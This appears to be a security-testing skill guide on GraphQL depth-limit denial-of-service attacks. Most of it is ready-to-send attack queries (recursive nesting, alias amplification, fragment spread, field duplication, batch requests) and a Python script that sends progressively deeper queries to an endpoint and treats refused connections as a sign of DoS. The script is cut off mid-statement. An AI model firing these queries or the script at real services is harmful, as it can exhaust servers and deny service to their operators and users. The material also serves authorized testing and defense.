performing-graphql-depth-limit-attack

What this skill does

# Performing GraphQL Depth Limit Attack

## Overview

GraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.


## When to Use

- When conducting security assessments that involve performing graphql depth limit attack
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing

## Prerequisites

- Target GraphQL API endpoint with introspection enabled or known schema
- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)
- Python 3.8+ with requests library for automated testing
- Burp Suite or mitmproxy for traffic analysis
- Authorization to perform security testing on the target


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Core Attack Techniques

### 1. Recursive Depth Attack

When a GraphQL schema has bidirectional relationships, queries can reference them recursively:

```graphql
# Schema with circular reference:
# type User { posts: [Post] }
# type Post { author: User }

# Attack query with excessive nesting depth
query DepthAttack {
  users {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  author {
                    posts {
                      author {
                        posts {
                          title
                          author {
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
```

### 2. Alias-Based Amplification

When batch queries are blocked, aliases can multiply the same field request within a single query:

```graphql
query AliasAmplification {
  a1: user(id: 1) { posts { author { name } } }
  a2: user(id: 1) { posts { author { name } } }
  a3: user(id: 1) { posts { author { name } } }
  a4: user(id: 1) { posts { author { name } } }
  a5: user(id: 1) { posts { author { name } } }
  a6: user(id: 1) { posts { author { name } } }
  a7: user(id: 1) { posts { author { name } } }
  a8: user(id: 1) { posts { author { name } } }
  a9: user(id: 1) { posts { author { name } } }
  a10: user(id: 1) { posts { author { name } } }
}
```

### 3. Fragment Spread Attack

Fragments can be used to construct complex, deeply nested queries more efficiently:

```graphql
fragment UserFields on User {
  name
  email
  posts {
    title
    comments {
      body
      author {
        ...NestedUser
      }
    }
  }
}

fragment NestedUser on User {
  name
  posts {
    title
    author {
      name
      posts {
        title
        author {
          name
        }
      }
    }
  }
}

query FragmentAttack {
  users {
    ...UserFields
  }
}
```

### 4. Field Duplication Attack

Repeating the same field multiple times within a selection set increases processing:

```graphql
query FieldDuplication {
  user(id: 1) {
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
  }
}
```

### 5. Batch Query Attack

Sending multiple queries in a single HTTP request:

```json
[
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"}
]
```

## Automated Testing Script

```python
#!/usr/bin/env python3
"""GraphQL Depth Limit Attack Testing Tool

Tests GraphQL endpoints for depth limiting vulnerabilities
by sending progressively deeper nested queries.
"""

import requests
import time
import json
import sys
from typing import Optional

class GraphQLDepthTester:
    def __init__(self, endpoint: str, headers: Optional[dict] = None):
        self.endpoint = endpoint
        self.headers = headers or {"Content-Type": "application/json"}
        self.results = []

    def generate_nested_query(self, depth: int, field_a: str = "posts",
                               field_b: str = "author",
                               leaf_field: str = "name") -> str:
        """Generate a recursively nested GraphQL query to a specified depth."""
        query = "{ users { "
        for i in range(depth):
            if i % 2 == 0:
                query += f"{field_a} {{ "
            else:
                query += f"{field_b} {{ "
        query += leaf_field
        query += " }" * (depth + 1)  # Close all braces
        query += " }"
        return query

    def generate_alias_query(self, count: int, inner_query: str) -> str:
        """Generate a query with multiple aliases."""
        aliases = []
        for i in range(count):
            aliases.append(f"a{i}: {inner_query}")
        return "{ " + " ".join(aliases) + " }"

    def send_query(self, query: str, timeout: int = 30) -> dict:
        """Send a GraphQL query and measure response metrics."""
        payload = json.dumps({"query": query})
        start_time = time.time()
        try:
            response = requests.post(
                self.endpoint,
                data=payload,
                headers=self.headers,
                timeout=timeout
            )
            elapsed = time.time() - start_time
            return {
                "status_code": response.status_code,
                "response_time": round(elapsed, 3),
                "response_size": len(response.content),
                "has_errors": "errors" in response.json() if response.status_code == 200 else True,
                "error_message": self._extract_error(response),
                "success": response.status_code == 200 and "errors" not in response.json()
            }
        except requests.exceptions.Timeout:
            elapsed = time.time() - start_time
            return {
                "status_code": 0,
                "response_time": round(elapsed, 3),
                "response_size": 0,
                "has_errors": True,
                "error_message": "Request timed out",
                "success": False
            }
        except requests.exceptions.ConnectionError:
            return {
                "status_code": 0,
                "response_time": 0,
                "response_size": 0,
                "has_errors": True,
                "error_message": "Connection refused - possible DoS",
                "success": False
            }

    def _extract_error(self, response) -> str:
        try:
            data = response.json()
            if "errors" in data:
                return data["errors"][0].get("message", "Unknown error")
        except (json.JSONDecodeError, IndexError, KeyError):
            pass
        return ""

    def test_depth_limits(self, max_depth: int = 20):
        """Progressively test increasing query depths."""
        print(f"Testing depth limits from 1 to {max_depth}...")
        print(f"{'Depth':<8}{'Status':<10}{'Time(s)':<12}{'Size(B)':<12}{'Result'}")
        print("-" * 65)

        for depth in range(1, max_depth + 1):
            query = self.generate_nested_query(depth)
            result = self.send_query(query)
            result["depth"] = d